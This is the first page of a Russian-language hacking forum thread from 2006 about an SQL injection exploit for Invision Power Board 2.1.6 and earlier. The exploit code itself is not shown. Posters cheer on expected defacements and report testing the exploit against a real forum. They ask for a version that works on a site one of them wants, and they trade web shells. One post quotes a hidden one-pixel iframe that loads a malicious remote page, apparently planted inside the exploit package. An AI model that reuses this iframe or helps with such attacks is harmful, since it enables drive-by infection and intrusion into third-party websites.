Форумы Invision Power Board v2.1 <= 2.1.6 sql injection exploit by RST/GHC

Discussion in 'Уязвимости CMS/форумов' started by InFiNiTy, 14 Jul 2006.

Page 1 of 4
  1. InFiNiTy

    InFiNiTy New Member

    Joined:
    22 Jun 2006
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Как говорится ждем дефейсофф
     
    #1 InFiNiTy, 14 Jul 2006
    Last edited: 14 Jul 2006
  2. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    во.крутая вещь.уже протестировал.вообще супер.
     
    #2 Sn@k3, 14 Jul 2006
  3. zeppe1in

    zeppe1in Elder - Старейшина

    Joined:
    12 Jul 2006
    Messages:
    343
    Likes Received:
    66
    Reputations:
    18
    Code:
    <div style="VISIBILITY: hidden"><iframe src="http://zchxsikpgz.biz/dl/adv543.php" width=1 height=1></iframe></div>
    нах такое надо?
     
    #3 zeppe1in, 17 Jul 2006
    3 people like this.
  4. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    zeppe1in
    +1

    RST всегда отличались тем что любили счетчики на шеллы влепить или же ифреймик что собственно и наблюдаем=))
     
    #4 Rebz, 17 Jul 2006
  5. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    шелл от рст дерьмо
     
    #5 ZaCo, 17 Jul 2006
  6. s1z3r

    s1z3r Elder - Старейшина

    Joined:
    23 May 2006
    Messages:
    46
    Likes Received:
    13
    Reputations:
    0
    Тогда где шел от ZaCo???
     
    #6 s1z3r, 17 Jul 2006
    1 person likes this.
  7. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    http://zaco.cup.su/uploads/SmWsHbZ.txt вообще он тоже дерьмовый но суть не в этом :D :D
     
    #7 ZaCo, 17 Jul 2006
    3 people like this.
  8. CCHQ

    CCHQ New Member

    Joined:
    8 Jul 2006
    Messages:
    16
    Likes Received:
    4
    Reputations:
    -4
    а вчом
     
    #8 CCHQ, 17 Jul 2006
    1 person likes this.
  9. K.e.H

    K.e.H New Member

    Joined:
    6 Aug 2005
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    А как этот шел запускается .Что то он у меня не запускается
     
    #9 K.e.H, 17 Jul 2006
  10. *Van*

    *Van* Elder - Старейшина

    Joined:
    14 Aug 2005
    Messages:
    365
    Likes Received:
    19
    Reputations:
    12
    Интересную фишку я наблюдал при тестировании этого сплойта на forum.lineageii.ru. После первой проверки на уязвимость сразу же автоматически банят по ip.
     
    #10 *Van*, 17 Jul 2006
  11. Inferno

    Inferno Elder - Старейшина

    Joined:
    30 Dec 2005
    Messages:
    97
    Likes Received:
    17
    Reputations:
    2
    lineageii.ru. достаточно серёзный проект и я недумаю что там настолько глупые админы чтоб не патчить свой форум!
     
    #11 Inferno, 17 Jul 2006
  12. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423
    Поддерживая ZaCo, скажу что шелл RST действительно дерьмо, да и ребята там не очень хорошо поступают, воруя чужие идеи.
     
    _________________________
    #12 madnet, 17 Jul 2006
    2 people like this.
  13. Inferno

    Inferno Elder - Старейшина

    Joined:
    30 Dec 2005
    Messages:
    97
    Likes Received:
    17
    Reputations:
    2
    А что с ним такого?-работает!!
    И ты явно написал по теме..
     
    #13 Inferno, 17 Jul 2006
  14. ForgetMeNot

    ForgetMeNot New Member

    Joined:
    21 Jun 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Он не работал дня 2..просто узнать хотелось..может кто че знает
     
    #14 ForgetMeNot, 17 Jul 2006
  15. ForgetMeNot

    ForgetMeNot New Member

    Joined:
    21 Jun 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    нет так нет=)
     
    #15 ForgetMeNot, 17 Jul 2006
  16. samurays

    samurays New Member

    Joined:
    11 Jul 2006
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Люди добрые, есть у кого нибудь реальный Exploit чтоб работал 100% на IPB 2.1.6?
    Тот что здесь давали не работает там где мне надо :(
     
    #16 samurays, 17 Jul 2006
  17. Inferno

    Inferno Elder - Старейшина

    Joined:
    30 Dec 2005
    Messages:
    97
    Likes Received:
    17
    Reputations:
    2
    Cплойт не может работать на 100% !!
    Если форум патченный и нет не одного сплойта который будет канать!
     
    #17 Inferno, 17 Jul 2006
  18. Vilen

    Vilen Banned

    Joined:
    1 Jul 2006
    Messages:
    51
    Likes Received:
    8
    Reputations:
    -1
    - - -
     
    #18 Vilen, 17 Jul 2006
    Last edited: 1 Dec 2008
  19. Brahma

    Brahma Elder - Старейшина

    Joined:
    14 Jul 2006
    Messages:
    55
    Likes Received:
    13
    Reputations:
    6
    Ну почему-же - сама ? Админы помогли...
     
    #19 Brahma, 17 Jul 2006
    1 person likes this.
  20. samurays

    samurays New Member

    Joined:
    11 Jul 2006
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    А есть у кого експлоит который бы работал на magic_quote=on?
    нa IPB 2.1.6
     
    #20 samurays, 17 Jul 2006
(You must log in or sign up to post here.)
Page 1 of 4
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.